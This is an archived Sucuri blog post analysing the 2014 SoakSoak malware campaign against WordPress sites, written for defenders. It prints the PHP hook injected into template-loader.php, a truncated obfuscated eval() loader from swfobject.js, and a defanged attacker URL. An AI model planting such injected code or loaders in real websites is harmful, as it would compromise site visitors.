

SoakSoak Malware Compromises 100,000+ WordPress Websites

SoakSoak Malware Compromises 100,000+ WordPress Websites - @sucurisecurity, Sucuri Blog.

- Published: 2014-12-14
- Original:
<<https://web.archive.org/web/20160403035045/http://blog.sucuri.net/2014/12/soaksoak-malware-compromises-100000-wordpress-websites.html>>
- Current location:
<<https://web.archive.org/web/20160414021823/https://blog.sucuri.net/2014/12/soaksoak-malware-compromises-100000-wordpress-websites.html>>
- Preserved from:
<https://web.archive.org/web/20160414021823/https://blog.sucuri.net/2014/12/soaksoak-malware-compromises-100000-wordpress-websites.html> (live) on 2026-08-09
- Capture timestamp: 20160403035045
- Licence: unknown

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Content

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This Sunday has started with a bang. Google has blacklisted over 11,000 domains with this latest malware campaign from **SoakSoak.ru**:

Safe Browsing

Diagnostic page for soaksoak.ru

Advisory provided by 

What is the current listing status for soaksoak.ru?

Site is listed as suspicious - visiting this web site may harm your computer.

Part of this site was listed for suspicious activity 1 time(s) over the past 90 days.

What happened when Google visited this site?

Of the 3 pages we tested on the site over the past 90 days, 1 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2014-12-14, and the last time suspicious content was found on this site was on 2014-12-14.

Malicious software includes 9 exploit(s).

This site was hosted on 2 network(s) including [AS16276 \(OVH\)](#), [AS29182 \(ISPSYSTEM-AS\)](#).

Google Blacklisting – SoakSoak.ru

Our analysis is showing impacts in the order of 100's of thousands of WordPress specific websites. We cannot confirm the exact vector, but preliminary analysis is showing correlation with the [Revsli der vulnerability we reported a few months back](#).

[image: Sucuri - SoakSoak RU Blacklisted]

The impact seems to be affecting most hosts across the WordPress hosting spectrum. Quick breakdown of the decoding process is available [via our PHP Decoder](#).

SoakSoak Malware Anatomy

It is modifying the file **wp-includes/template-loader.php** and including this content:

```
<?php
function FuncQueueObject()
{
    wp_enqueue_script("swfobject");
}

add_action("wp_enqueue_scripts", 'FuncQueueObject');
```

This causes the **wp-includes/js/swfobject.js** to be loaded on every page you view on the site which includes the malware here:

```
eval(decodeURIComponent("'%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%.72%69%70%74%2E%69%64%3D%27%78
```

This malware when decoded loads a javascript malware from the SoakSoak.ru domain, specifically this file: `hxxp://soaksoak.ru/xteas/code`

If you believe you are infected you can use our [Free SiteCheck scanner](#), signatures have all been updated to detect the latest redirection:

[[image: Sucuri - SoakSoak - SiteCheck]]

(<https://web.archive.org/web/20160414021823/https://blog.sucuri.net/2014/12/soaksoak-malware-compromises-100000-wordpress-websites.html/sucuri-soaksoak-sitecheck>)

Sucuri – SoakSoak – SiteCheck

All clients behind our [Website Firewall](#) are currently protected from this malware campaign.

*We have posted two follow-ups since this post was first released:

SoakSoak: Payload Analysis – Evolution of Compromised Sites – IE 11 by Denis Sinegubko

RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise